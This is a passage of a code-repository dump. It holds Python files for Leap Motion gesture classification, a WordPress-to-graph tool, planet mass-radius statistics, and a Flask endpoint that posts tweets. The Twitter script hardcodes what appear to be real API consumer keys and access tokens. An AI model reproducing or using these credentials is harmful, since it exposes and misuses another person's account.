arch_dir)))\nsys.path.insert(1, os.path.abspath(os.path.join(src_dir, \"../dependencies/lib-win\")))\n#For Mac OS\n#sys.path.insert(1,'../dependencies/lib-mac')\n#sys.path.insert(0,'../dependencies/lib-mac/Leap.py')\nimport Leap, thread, time, os, pandas, numpy \n\nfrom sklearn.metrics import accuracy_score \nimport joblib\n\nloaded_model = joblib.load(\"../Trained_Models/SVC_Version_0.1.sav\")\nloaded_sc = joblib.load(\"../Trained_Models/Fitted_StandardScaler.sav\")\n\nclass SampleListener(Leap.Listener):\n \n def on_init(self, controller):\n print \"Initialized\"\n\n def on_connect(self, controller):\n print \"Connected\"\n\n def on_disconnect(self, controller):\n # Note: not dispatched when running in a debugger.\n print \"Disconnected\"\n\n def on_exit(self, controller):\n self.datasets.close()\n print \"Exited\"\n \n \n def on_frame(self, controller):\n datasets = open(\"../dataset/realtime.csv\", 'wb')\n # Get the most recent frame and report some basic information\n frame = controller.frame()\n # Get hands\n for hand in frame.hands:\n # Get the hand's Bones and direction\n # Get fingers\n datasets.write(\"0\"),\n for finger in hand.fingers:\n # Get bones\n for i in range(0,4):\n datasets.write (\",%.2f,%.2f,%.2f,%.2f,%.2f,%.2f,%.2f,%.2f,%.2f\" % (\n finger.bone(i).prev_joint.x,\n finger.bone(i).prev_joint.y,\n finger.bone(i).prev_joint.z,\n finger.bone(i).next_joint.x,\n finger.bone(i).next_joint.y,\n finger.bone(i).next_joint.z,\n finger.bone(i).direction.x,\n finger.bone(i).direction.y,\n finger.bone(i).direction.z\n )),\n datasets.write (\"\\n\")\n datasets.close()\n \n \n try:\n \n df = pandas.read_csv(\"../dataset/realtime.csv\",header=None)\n X_Sample = numpy.asarray(df.values)\n# global test \n# test = X_Sample\n X_Sample = X_Sample[:,1:]\n \n \n \n except Exception:\n print \"File was empty\"\n return\n \n global loaded_model,loaded_sc\n y_pred = loaded_model.predict(loaded_sc.transform(X_Sample))\n print \"Prediction: \" + str(y_pred)\n \n \n \n \n \ndef main():\n # Create a sample listener and controller\n listener = SampleListener()\n controller = Leap.Controller()\n\n # Have the sample listener receive events from the controller\n controller.add_listener(listener)\n \n # Keep this process running until Enter is pressed\n print \"Press Enter to quit...\"\n try:\n# sys.stdin.readline()\n raw_input()\n except KeyboardInterrupt:\n pass\n finally:\n # Remove the sample listener when done\n controller.remove_listener(listener)\n\n\nif __name__ == \"__main__\":\n main()\n\n" }, { "alpha_fraction": 0.6026148796081543, "alphanum_fraction": 0.6137083768844604, "avg_line_length": 26.69230842590332, "blob_id": "5ff15f2a9da37b00e288d6712506175087c492e3", "content_id": "400027549d8e745c128428397eef3c1c4f9f1636", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2524, "license_type": "no_license", "max_line_length": 81, "num_lines": 91, "path": "/Codes/Load_Separate_FeatureScaling_Training_Evaluation_Of_SVC.py", "repo_name": "esilotesham/SRM", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\"\"\" Loading .cvs Datasets from files \"\"\"\nimport pandas\nimport numpy\nimport os, sys, inspect\nsrc_dir = os.path.dirname(inspect.getfile(inspect.currentframe()))\npath_dataset = \"../dataset\"\nX = []\ny = []\nfor i in os.listdir(os.path.join(src_dir,path_dataset)):\n print \"Loading \" + i \n X.append(numpy.asarray(pandas.read_csv(\"../dataset/\" + i).iloc[:,1:].values))\n y.append(numpy.asarray(pandas.read_csv(\"../dataset/\" + i).iloc[:,:1].values))\n\nX = numpy.vstack(([ i for i in X]))\ny = numpy.vstack(([ i for i in y]))\n\n\"\"\" Separating Training set and Testing set \"\"\"\n\nfrom sklearn.model_selection import train_test_split\n\nX_train,X_test,y_train,y_test = train_test_split(\n X,\n y,\n test_size = 0.3,\n random_state= 1,\n stratify=y\n )\n\n\n\"\"\" Applying Feature Scaling \"\"\"\nfrom sklearn.preprocessing import StandardScaler \n\nsc = StandardScaler()\nsc.fit(X_train)\n\nX_train_std = sc.transform(X_train)\nX_test_std = sc.transform(X_test)\n\n\n\"\"\"Training a Support Vector Machine Classifier \"\"\"\n\n\"\"\" Model 1 : Using a Support Vector Machine Algorithm \"\"\"\n\n\"\"\" Support Vector Machine \"\"\" \n#from sklearn.svm import SVC\n#model = SVC(kernel=\"rbf\",\n# C=100.0,\n# gamma = 0.1, # \n# random_state=1)\n\n\"\"\" Model 2 : Random Forest \"\"\"\nfrom sklearn.ensemble import RandomForestClassifier \nmodel = RandomForestClassifier(criterion=\"gini\",\n n_estimators = 25,\n random_state=1,\n n_jobs= -1\n )\n\n\nmodel.fit(X_train_std,y_train)\n\n\"\"\" Model Serialization/ Saving the Model for Future Use \"\"\"\nimport joblib \njoblib.dump(model, \"../Trained_Models/SVC_Version_0.1.sav\")\njoblib.dump(sc, \"../Trained_Models/Fitted_StandardScaler.sav\")\n\n\"\"\" Testing the performance of trained model \"\"\"\nfrom sklearn.metrics import accuracy_score \nloaded_model = joblib.load(\"../Trained_Models/SVC_Version_0.1.sav\")\nloaded_sc = joblib.load(\"../Trained_Models/Fitted_StandardScaler.sav\")\n\n\n#y_pred = loaded_model.predict(loaded_sc.transform(X_test))\n#print \"Accuracy: %.2f\" % accuracy_score(y_test,y_pred)\n\nfrom sklearn.model_selection import cross_val_score \nfrom sklearn.preprocessing import StandardScaler \n\nsc = StandardScaler()\nsc.fit(X)\n\nX_std = sc.transform(X)\n\n\nscores = cross_val_score(estimator=loaded_model,\n X=X_std,\n y=y,\n cv=100,\n n_jobs=-1)\n\n\n\n\n" }, { "alpha_fraction": 0.5938338041305542, "alphanum_fraction": 0.6005361676216125, "avg_line_length": 34.927711486816406, "blob_id": "4ab7f544faecbad5b29f79bb03632d8bdb70cd50", "content_id": "b9aae1552e7f3563393c349676d3ae12c8c14f67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2984, "license_type": "no_license", "max_line_length": 98, "num_lines": 83, "path": "/Codes/Image_Capturing_Displaying.py", "repo_name": "esilotesham/SRM", "src_encoding": "UTF-8", "text": "\n################################################################################\n# Copyright (C) 2012-2013 Leap Motion, Inc. All rights reserved. #\n# Leap Motion proprietary and confidential. Not for distribution. #\n# Use subject to the terms of the Leap Motion SDK Agreement available at #\n# https://developer.leapmotion.com/sdk_agreement, or another agreement #\n# between Leap Motion and you, your company or other organization. #\n################################################################################\n\n\n#For Windows OS\nimport os, sys, inspect\nsrc_dir = os.path.dirname(inspect.getfile(inspect.currentframe()))\narch_dir = '../dependencies/lib-win/x64' if sys.maxsize > 2**32 else '../dependencies/lib-win/x86'\nsys.path.insert(0, os.path.abspath(os.path.join(src_dir, arch_dir)))\nsys.path.insert(1, os.path.abspath(os.path.join(src_dir, \"../dependencies/lib-win\")))\n#For Mac OS\n#sys.path.insert(1,'../dependencies/lib-mac')\n#sys.path.insert(0,'../dependencies/lib-mac/Leap.py')\nimport Leap, thread, time, os, pandas, numpy ,ctypes\nimport matplotlib.pyplot as plt\nimport numpy as np \n#global variable for image \nimage = None \n\nclass SampleListener(Leap.Listener):\n \n def on_init(self, controller):\n print \"Initialized\"\n\n def on_connect(self, controller):\n print \"Connected\"\n\n def on_disconnect(self, controller):\n # Note: not dispatched when running in a debugger.\n print \"Disconnected\"\n\n def on_exit(self, controller):\n self.datasets.close()\n print \"Exited\"\n \n \n def on_frame(self, controller):\n frame = controller.frame()\n right_image = frame.images[0]\n if right_image.is_valid:\n print \"Image: \"\n global image\n #wrap image data in numpy array\n i_address = int(right_image.data_pointer)\n ctype_array_def = ctypes.c_ubyte * right_image.height * right_image.width\n # as ctypes array\n as_ctype_array = ctype_array_def.from_address(i_address)\n # as numpy array\n as_numpy_array = np.ctypeslib.as_array(as_ctype_array)\n image = np.reshape(as_numpy_array, (right_image.height, right_image.width))\n plt.imshow(image)\n plt.show()\n \n \n \n \ndef main():\n # Create a sample listener and controller\n listener = SampleListener()\n controller = Leap.Controller()\n controller.set_policy_flags(Leap.Controller.POLICY_IMAGES)\n # Have the sample listener receive events from the controller\n controller.add_listener(listener)\n \n # Keep this process running until Enter is pressed\n print \"Press Enter to quit...\"\n try:\n# sys.stdin.readline()\n raw_input()\n except KeyboardInterrupt:\n pass\n finally:\n # Remove the sample listener when done\n controller.remove_listener(listener)\n\n\nif __name__ == \"__main__\":\n main()\n\n" } ]
5
mathemusician/graph_research_notes
https://github.com/mathemusician/graph_research_notes
c8ca72fcb24ee61480d8fa8c22c33c0e69d84e53
9ab35de026ba5857cf316cc33adecd3224010555
49278da0ea81118b3a9f281c95bdbff1286be63c
refs/heads/master
2023-07-07T07:44:41.715255
2019-08-22T23:06:59
2019-08-22T23:06:59
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7089552283287048, "alphanum_fraction": 0.7313432693481445, "avg_line_length": 21.5, "blob_id": "0fec4a2e77f366c86330c3cc62f299646c52d400", "content_id": "0cc866645a42a5ddab35b7bf2a2a54397ae64012", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 134, "license_type": "permissive", "max_line_length": 49, "num_lines": 6, "path": "/wordpress_graph/paths.py", "repo_name": "mathemusician/graph_research_notes", "src_encoding": "UTF-8", "text": "from pathlib2 import Path\nimport pathlib2\nimport os\n\nPROJECT_DIR = Path(__file__).resolve().parents[1]\nDATA_DIR = PROJECT_DIR / \"data\"" }, { "alpha_fraction": 0.5051085352897644, "alphanum_fraction": 0.5086206793785095, "avg_line_length": 31.968421936035156, "blob_id": "2534a6c6bd3014aa1605c9fe0c64753153bebe6a", "content_id": "03cdfb1943e113224613727b24638c6ad6841ea6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3132, "license_type": "permissive", "max_line_length": 87, "num_lines": 95, "path": "/wordpress_graph/xml_to_graph.py", "repo_name": "mathemusician/graph_research_notes", "src_encoding": "UTF-8", "text": "import networkx as nx\nimport pandas as pd\nimport feedparser\nimport numpy as np\nfrom tqdm.autonotebook import tqdm\n\n\ndef post_info_from_xml(\n xml_files,\n categories_to_subset=[\n \"Papers\",\n \"Dissertations\",\n \"Paper reviews\",\n \"Blogs\",\n \"Datasets\",\n ],\n):\n post_df = pd.DataFrame(columns=[\"title\", \"tags\", \"category\", \"link\", \"date\"])\n\n for xml_file in xml_files:\n # parse file\n d = feedparser.parse(xml_file)\n # unique entry types\n print(np.unique([i.wp_post_type for i in d.entries]))\n\n # go through entries\n for entry in tqdm(d.entries):\n # only interested in posts\n if entry.wp_post_type == \"post\":\n if entry.wp_status == \"publish\":\n title = entry.title\n tags = [tag.term for tag in entry.tags if tag.scheme == \"post_tag\"]\n category = [\n tag.term for tag in entry.tags if tag.scheme == \"category\"\n ][0]\n link = entry.link\n publish_date = entry.published_parsed\n post_df.loc[len(post_df)] = [\n title,\n tags,\n category,\n link,\n publish_date,\n ]\n\n post_df[\"slug\"] = [i.lower().replace(\" \", \"_\") for i in post_df.title.values]\n # subset only papers\n post_df = post_df[post_df.category.isin(categories_to_subset)]\n\n # generate tag df\n all_tags = np.concatenate(post_df.tags.values)\n tag_df = pd.DataFrame(\n [[i, np.sum(all_tags == i)] for i in np.unique(all_tags)],\n columns=[\"tag\", \"frequency\"],\n )\n\n return post_df, tag_df\n\n\ndef post_df_to_graph(post_df, tag_df):\n \"\"\" Create a graph from post tags\n \"\"\"\n # Create graph\n G = nx.Graph()\n\n # add nodes to graph\n for idx, row in post_df.iterrows():\n G.add_node(row.slug, type=row.category)\n\n ## add edges to graph\n # get weight as # of similar tags between two posts\n for idx, row in tqdm(post_df.iterrows(), total=len(post_df)):\n for idx2, row2 in post_df.iterrows():\n if row.title != row2.title:\n overlap = [tag for tag in row.tags if tag in row2.tags]\n if len(overlap) > 0:\n # weight tags by frequency\n weights = [\n 1 / np.log(tag_df[tag_df.tag == tag].frequency.values[0])\n for tag in overlap\n ]\n weight = np.sum(weights)\n # add edge\n if weight > 0:\n G.add_edge(row.slug, row2.slug, weight=weight)\n\n # remove nodes that aren't connected to anything\n num_conns = pd.DataFrame(columns=[\"node\", \"conns\"])\n # remove nodes that have no connections\n for node in list(G.nodes().keys()):\n if G.degree(node) == 0:\n G.remove_node(node)\n else:\n num_conns.loc[len(num_conns)] = [node, G.degree(node)]\n return G, num_conns\n" }, { "alpha_fraction": 0.6532257795333862, "alphanum_fraction": 0.6693548560142517, "avg_line_length": 23.799999237060547, "blob_id": "f7096841b9bd71546f84e9dabe3c57e1bdc009d7", "content_id": "99b9495de98703bdd4d710bc88d33abee621ef63", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 248, "license_type": "permissive", "max_line_length": 74, "num_lines": 10, "path": "/setup.py", "repo_name": "mathemusician/graph_research_notes", "src_encoding": "UTF-8", "text": "from setuptools import find_packages, setup\n\nsetup(\n name='wordpress_graph',\n packages=find_packages(),\n version='0.1.0',\n description='Graphing an exported wordpress XML in NetworkX and D3. ',\n author='Tim Sainburg',\n license='MIT',\n)\n" } ]
3
malu80/Tweetpy
https://github.com/malu80/Tweetpy
0cedc32adfa234e3a54f96d8bc6dec3dbfc4a8d3
4ccf3f9e98e537dda1ffc3e5718ff2e1af46d45d
64e9af03bf13c3e1691b076cef757314f1de7694
refs/heads/master
2020-04-08T16:03:52.772051
2018-11-28T13:07:54
2018-11-28T13:07:54
159,503,296
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.618534505367279, "alphanum_fraction": 0.6368534564971924, "avg_line_length": 29.96666717529297, "blob_id": "8f931eb2c6c3f52fc7eaaf785c801de7b34d7c2b", "content_id": "7ee8a9422277bc07f9c91292fb4c6453d248ca9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 928, "license_type": "no_license", "max_line_length": 94, "num_lines": 30, "path": "/twittertest.py", "repo_name": "malu80/Tweetpy", "src_encoding": "UTF-8", "text": "from TwitterAPI import TwitterAPI\nfrom flask import Flask, request, jsonify\nfrom flask_restful import Resource, Api\nfrom flask_cors import CORS , cross_origin\n\napp = Flask(__name__)\nCORS(app)\napi = Api(app)\n\nclass Twitter(Resource):\n def post(self,key,mesg):\n\n CONSUMER_KEY = 'dJDsnFRT2YLXQuVc7aNG6I02J'\n CONSUMER_SECRET = 'tOXx58OC6Oa1ysaNmorv2vuOKWJvDZkXLFnK67UeV2LUtFHTO2'\n ACCESS_TOKEN_KEY = '1067756218997829633-oVsy85mJONOV6ih7RLp7N662VzkAC1'\n ACCESS_TOKEN_SECRET = 'UwPEVJEkevvwEBaxFZoQ1nVIw5XgXcVLRSXN8kFTKFufO'\n\n api = TwitterAPI(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET)\n file = open('test.png', 'rb')\n data = file.read()\n location='#tomtom'+key+'\\n'+mesg\n r = api.request('statuses/update_with_media', {'status':location}, {'media[]':data})\n print(r.status_code)\n\n return {'Tweet posted':r.status_code}\n\napi.add_resource(Twitter, '/twitter/<string:key>/<string:mesg>')\n\nif __name__ == '__main__':\n app.run(host='10.26.34.97', port=8001)" } ]
1
chenjj2/Stat_Practice
https://github.com/chenjj2/Stat_Practice
7f377069c664fa717ff2bef9e8e9de050e4471e4
e934ccab08968739a0d5adf7e57b4a561aba8ee2
fb6a0736039aaf2f815237ab5c3cf5e4dd1034dc
refs/heads/master
2019-01-21T17:22:36.178023
2016-01-29T07:04:13
2016-01-29T07:04:13
42,266,338
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5932924151420593, "alphanum_fraction": 0.6632026433944702, "avg_line_length": 32.09375, "blob_id": "8c0f3fbdfd09c985cc53959f3bc03efa7a3cccce", "content_id": "396ef212462eb8e89d990a1ba6d08d487c4b8abf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2117, "license_type": "no_license", "max_line_length": 94, "num_lines": 64, "path": "/Projects/PlanetGroup/demo_mr.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nmake a plot for Mstat2R & Rstat2M\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom func import Mstat2R, Rstat2M, Mpost2R, Rpost2M\n\n### set plot \nfig = plt.figure()\ngs = gridspec.GridSpec(3, 3)\nax1 = plt.subplot(gs[0, :-1])\nax2 = plt.subplot(gs[1:,:-1])\nax3 = plt.subplot(gs[1:, -1])\n\n\n### m2r\nnsample = 5e2\nm2r_m = np.log10(np.random.normal(2,0.5,size=nsample))\nm2r_r = np.log10(Mpost2R(10.**m2r_m))\nm2r_m2 = np.log10(Rpost2M(10.**m2r_r))\n\n### r2m\nr2m_r = np.log10(np.random.normal(10,0.5,size=nsample))\nr2m_m = np.log10(Rpost2M(10.**r2m_r))\nr2m_r2 = np.log10(Mpost2R(10.**r2m_m))\n\n### mass histogram\nnbin=10\nax1.hist(m2r_m2, fc='r', ec='r', alpha=0.3, bins=nbin)\nax1.hist(m2r_m,fc='b', bins=nbin, label=['M -> R -> M'])\nax1.hist(r2m_m,fc='g', bins=nbin, label=['R -> M'])\nax1.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n\n### model\nfrom func import piece_linear, piece_linear_complex\nbest_hyper = np.loadtxt('spatial_median.txt', delimiter=',')\n\nm_sample = np.linspace( -3.9, 5.5, 1000 )\nr_sample = piece_linear(best_hyper, m_sample, prob_R = 0.5*np.ones_like(m_sample))\nr_upper = piece_linear_complex(best_hyper, m_sample, prob_R = 0.84 * np.ones_like(m_sample))\nr_lower = piece_linear_complex(best_hyper, m_sample, prob_R = 0.16 * np.ones_like(m_sample))\nr_2upper = piece_linear_complex(best_hyper, m_sample, prob_R = 0.975 * np.ones_like(m_sample))\nr_2lower = piece_linear_complex(best_hyper, m_sample, prob_R = 0.025 * np.ones_like(m_sample))\n\nax2.plot(m_sample, r_sample, 'r-')\nax2.fill_between(m_sample, r_lower, r_upper, color='grey', alpha=0.6)\nax2.fill_between(m_sample, r_2lower, r_2upper, color='grey', alpha=0.4)\n\nax2.set_xlabel(r'$\\rm log_{10}\\ M/M_\\oplus$')\nax2.set_ylabel(r'$\\rm log_{10}\\ R/R_\\oplus$')\n\n### radius histogram\nax3.hist(m2r_r,fc='b', orientation='horizontal', bins=nbin)\nax3.hist(r2m_r,fc='g', orientation='horizontal', bins=nbin)\n#ax3.hist(r2m_r2, fc='r', ec='r', alpha=0.3, bins=nbin)\n\n### save\nax1.set_xlim([-4.,6.])\nax2.set_xlim([-4.,6.])\nax2.set_ylim([-1.3,2.1])\nax3.set_ylim([-1.3,2.1])\n\nfig.savefig('demo_mr.pdf')" }, { "alpha_fraction": 0.6566265225410461, "alphanum_fraction": 0.6867470145225525, "avg_line_length": 22.85714340209961, "blob_id": "fed131eec3bdcf3d113d86279d5caeac7ddf0ba6", "content_id": "93dff41253d388c457c604c83e79b0b26b848bfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 166, "license_type": "no_license", "max_line_length": 48, "num_lines": 7, "path": "/NaiveMC/inverse_sampling.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom scipy.special import erfinv\n\ndef inverse_lognormal(pr,mu,sigma):\n\tpower = mu + 2.**0.5*sigma * erfinv(2.*pr - 1.)\n\tx = np.exp(power)\n\treturn x" }, { "alpha_fraction": 0.737500011920929, "alphanum_fraction": 0.7875000238418579, "avg_line_length": 39.5, "blob_id": "254481fbd7ffb1d19de41ee9f0ddacc0802b11b6", "content_id": "be45998fd028f978e554f2bbe87d7beaa07e0148", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 80, "license_type": "no_license", "max_line_length": 42, "num_lines": 2, "path": "/Projects/PlanetGroup/test/test.sh", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "python straight_f1.py testf/ hyperic_1.txt\npython straight_e1.py teste/ testf/ 1" }, { "alpha_fraction": 0.6340152025222778, "alphanum_fraction": 0.6564385294914246, "avg_line_length": 25.202749252319336, "blob_id": "564648d243e5c8f939ea948707a1eaa32b129bb7", "content_id": "b33978ea90be38cd39615f6d055f762f3552ab2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7626, "license_type": "no_license", "max_line_length": 112, "num_lines": 291, "path": "/Projects/PlanetGroup/func.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom scipy.stats import norm\n\n### fix the number of different populations\nn_pop = 4\n\n### recover c with continuous criteria\ndef split_hyper(hyper):\n\tc0, power, sigma, trans = \\\n\thyper[0], hyper[1:1+n_pop], hyper[1+n_pop:1+2*n_pop], hyper[1+2*n_pop:]\n\t\n\tc = np.zeros_like(power)\n\tc[0] = c0\n\tfor i in range(1,n_pop):\n\t\tc[i] = c[i-1] * trans[i-1]**(power[i-1]-power[i])\n\treturn c, power, sigma, trans\t\n\n\n### indicate which M belongs to population i given transition parameter\ndef indicate(M, trans, i):\n\tts = np.insert(np.insert(trans, n_pop-1, np.inf), 0, -np.inf)\n\tind = (M>=ts[i]) & (M<ts[i+1])\n\treturn ind\n\n\n\n### piece power law\ndef piece_power(hyper, M, prob_R):\n\tc, power, sigma, trans = split_hyper(hyper)\n\t\n\tR = np.zeros_like(M)\n\tfor i in range(4):\n\t\tind = indicate(M, trans, i)\n\t\tmu = c[i] * M[ind]**power[i]\n\t\tR[ind] = norm.ppf(prob_R[ind], mu, sigma[i])\n\t\t\n\treturn R\n\n\n### piece power law, different sigma\ndef piece_power_frac(hyper, M, prob_R):\n\tc, power, sigma, trans = split_hyper(hyper)\n\t\n\tR = np.zeros_like(M)\n\tfor i in range(4):\n\t\tind = indicate(M, trans, i)\n\t\tmu = c[i] * M[ind]**power[i]\n\t\t''' note the change here, sigma is now mu*sigma '''\n\t\tR[ind] = norm.ppf(prob_R[ind], mu, mu*sigma[i])\n\t\t\n\treturn R\n\n### turn mass to log(m) and merr to merr/m, likewise for radius\ndef convert_data(dat):\n\n\tnrow, ncol = np.shape(dat)\n\n\tmass = dat[:,0].reshape(nrow,1)\n\tmerr = dat[:,1].reshape(nrow,1)\n\trad = dat[:,2].reshape(nrow,1)\n\traderr = dat[:,3].reshape(nrow,1)\n\n\tlog_dat = np.hstack(( np.log10(mass), np.log10(np.e) * merr/mass, np.log10(rad), np.log10(np.e) * raderr/rad ))\n\n\treturn log_dat\n\n\n\n### split hyper and derive c\ndef split_hyper_linear(hyper):\n\tc0, slope,sigma, trans = \\\n\thyper[0], hyper[1:1+n_pop], hyper[1+n_pop:1+2*n_pop], hyper[1+2*n_pop:]\n\n\tc = np.zeros_like(slope)\n\tc[0] = c0\n\tfor i in range(1,n_pop):\n\t\t# trans[0] * slope[0] + c[0] = trans[0] * slope[1] + c[1]\n\t\t# c[1] = c[0] + trans[0] * (slope[0]-slope[1])\n\t\tc[i] = c[i-1] + trans[i-1]*(slope[i-1]-slope[i])\n\n\treturn c, slope, sigma, trans\n\n### model: straight line\ndef piece_linear(hyper, M, prob_R):\n\tc, slope, sigma, trans = split_hyper_linear(hyper)\n\tR = np.zeros_like(M)\n\tfor i in range(4):\n\t\tind = indicate(M, trans, i)\n\t\tmu = c[i] + M[ind]*slope[i]\n\t\tR[ind] = norm.ppf(prob_R[ind], mu, sigma[i])\n\n\treturn R\n\n### based on piece_linear\n### but the intrinsic scatter in degenerate group is linear rather than constant\ndef piece_linear_complex(hyper, M, prob_R):\n\tc, slope, sigma, trans = split_hyper_linear(hyper)\n\tR = np.zeros_like(M)\n\tfor i in range(4):\n\t\tind = indicate(M, trans, i)\n\t\tmu = c[i] + M[ind]*slope[i]\n\t\tif i==2: # degenerate group\n\t\t\tsig = sigma[2] + (sigma[1]-sigma[2]) * (trans[2]-M[ind]) / (trans[2]-trans[1])\n\t\telse:\n\t\t\tsig = sigma[i]\n\t\tR[ind] = norm.ppf(prob_R[ind], mu, sig)\n\n\treturn R\t\n\n\n\n## constant\nmearth2mjup = 317.828\nmearth2msun = 333060.4\nrearth2rjup = 11.21\nrearth2rsun = 109.2\n\n## hyper file\ndir = '/Users/jingjing/Work/DK_project/Stat_Practice/Projects/PlanetGroup/'\nhyper_file = dir + 'h4_thin_hyper.out'\n\n### given mass distribution, yield radius distribution\ndef Mpost2R(mass, unit='earth', size = -1):\n\n\t## check input\n\t# mass type\n\tif type(mass) != np.ndarray or np.ndim(mass) != 1:\n\t\tprint 'Error: input mass must be 1D numpy array. '\n\t\treturn None\n\n\t# unit\n\tif unit == 'earth':\n\t\tpass\n\telif unit == 'jupiter':\n\t\tmass = mass * mearth2mjup\n\telif unit == 'sun':\n\t\tmass = mass * mearth2msun\n\telse:\n\t\tprint 'Error: input unit must be earth/jupiter/sun. '\n\t\treturn None\n\n\t# mass range\n\tif np.min(mass) < 1e-4 or np.max(mass) > 1e6:\n\t\tprint 'Error: mass range out of model expectation. '\n\t\treturn None\n\n\t# size\n\tif size == -1:\n\t\tsample_size = len(mass)\n\t\tmass_sample = mass\n\telif size > 1:\n\t\tsample_size = int(size)\n\t\tmass_sample = np.random.choice(mass, size=sample_size, replace=True)\n\telse:\n\t\tprint 'Error: size should be a positive integer. Default is the size of the input array.'\n\t\treturn None\n\n\n\t## convert to radius\n\tlogm = np.log10(mass_sample)\n\tprob = np.random.random(sample_size)\n\tlogr = np.ones_like(logm)\n\t\n\tall_hyper = np.loadtxt(hyper_file)\n\thyper_ind = np.random.randint(low = 0, high = np.shape(all_hyper)[0], size = sample_size)\t\n\thyper = all_hyper[hyper_ind,:]\n\n\tfor i in range(sample_size):\n\t\tlogr[i] = piece_linear_complex(hyper[i], logm[i], prob[i])\n\n\tradius_sample = 10.** logr\n\n\t## convert to right unit\n\tif unit == 'earth':\n\t\tradius = radius_sample\n\telif unit == 'jupiter':\n\t\tradius = radius_sample / rearth2rjup\n\telif unit == 'sun':\n\t\tradius = radius_sample / rearth2rsun\n\telse:\n\t\tprint 'Error: input unit must be earth/jupiter/sun. '\n\t\treturn None\n\t\n\treturn radius\n\n### given mass statistics, yield radius distribution\n# make it a gaussian if symmetric,\n# or two different gaussian joint at the median if asymmetric\nfrom scipy.stats import truncnorm \ndef Mstat2R(mean, std, down_std=-1, unit='earth', sample_size=100):\n\tprint 'Assuming normal distribution truncated at the mass range limit of the model.'\n\tmass = truncnorm.rvs(1e-4, 1e6, loc=mean, scale=std, size=sample_size)\t\t\n\tradius = Mpost2R(mass, unit='earth', size = -1)\n\treturn radius\n\n\n### p(radii|M)\ndef ProbRGivenM(radii, M, hyper):\n\n\tc, slope, sigma, trans = split_hyper_linear(hyper)\n\tprob = np.zeros_like(M)\n\t\n\tfor i in range(4):\n\t\tind = indicate(M, trans, i)\n\t\tmu = c[i] + M[ind]*slope[i]\n\t\tif i==2: # degenerate group\n\t\t\tsig = sigma[2] + (sigma[1]-sigma[2]) * (trans[2]-M[ind]) / (trans[2]-trans[1])\n\t\telse:\n\t\t\tsig = sigma[i]\n\t\tprob[ind] = norm.pdf(radii, mu, sig)\n\n\tprob = prob/np.sum(prob)\n\n\treturn prob\n\n### given radius posterior, yield mass\ndef Rpost2M(radius, unit='earth', size=-1, grid_size = 1e3):\n\t\n\t## check input\n\t# radius type\n\tif type(radius) != np.ndarray or np.ndim(radius) != 1:\n\t\tprint 'Error: input radius must be 1D numpy array. '\n\t\treturn None\n\n\t# unit\n\tif unit == 'earth':\n\t\tpass\n\telif unit == 'jupiter':\n\t\tradius = radius * rearth2rjup\n\telif unit == 'sun':\n\t\tradius = radius * rearth2rsun\n\telse:\n\t\tprint 'Error: input unit must be earth/jupiter/sun. '\n\t\treturn None\n\n\t# mass range\n\tif np.min(radius) <= 0.:\n\t\tprint 'Error: radius range out of model expectation. '\n\t\treturn None\n\n\t# size\n\tif size == -1:\n\t\tsample_size = len(radius)\n\t\tradius_sample = radius\n\telif size > 1:\n\t\tsample_size = int(size)\n\t\tradius_sample = np.random.choice(radius, size=sample_size, replace=True)\n\telse:\n\t\tprint 'Error: size should be a positive integer. Default is the size of the input array.'\n\t\treturn None\n\n\t# sample_grid\n\tif grid_size < 5:\n\t\tprint 'Error: the sample grid is too sparse. Suggest using at least 100 sample grid.'\n\t\treturn None\n\n\t## convert to mass\n\tlogr = np.log10(radius_sample)\n\tlogm = np.ones_like(logr)\n\n\tall_hyper = np.loadtxt(hyper_file)\n\thyper_ind = np.random.randint(low = 0, high = np.shape(all_hyper)[0], size = sample_size)\t\n\thyper = all_hyper[hyper_ind,:]\n\n\tlogm_grid = np.linspace(-4., 5.5, grid_size)\n\n\tfor i in range(sample_size):\n\t\tprob = ProbRGivenM(logr[i], logm_grid, hyper[i,:])\n\t\tlogm[i] = np.random.choice(logm_grid, size=1, p = prob)\n\n\tmass_sample = 10.** logm\n\n\t## convert to right unit\n\tif unit == 'earth':\n\t\tmass = mass_sample\n\telif unit == 'jupiter':\n\t\tmass = mass_sample / mearth2mjup\n\telif unit == 'sun':\n\t\tmass = mass_sample / mearth2msun\n\telse:\n\t\tprint 'Error: input unit must be earth/jupiter/sun. '\n\t\treturn None\n\t\n\treturn mass\n\n### given R statistics, yield mass distribution\ndef Rstat2M(mean, std, unit='earth', sample_size=100):\n\tprint 'Assuming normal distribution truncated from zero to infinity'\n\tradius = truncnorm.rvs(0., np.inf, loc=mean, scale=std, size=sample_size)\t\t\n\tmass = Rpost2M(radius, unit='earth', size = -1)\n\treturn mass\n\n" }, { "alpha_fraction": 0.5973628759384155, "alphanum_fraction": 0.6413147449493408, "avg_line_length": 22.572072982788086, "blob_id": "9d99c1d7a6ca093963652d47d4adba644cb7099a", "content_id": 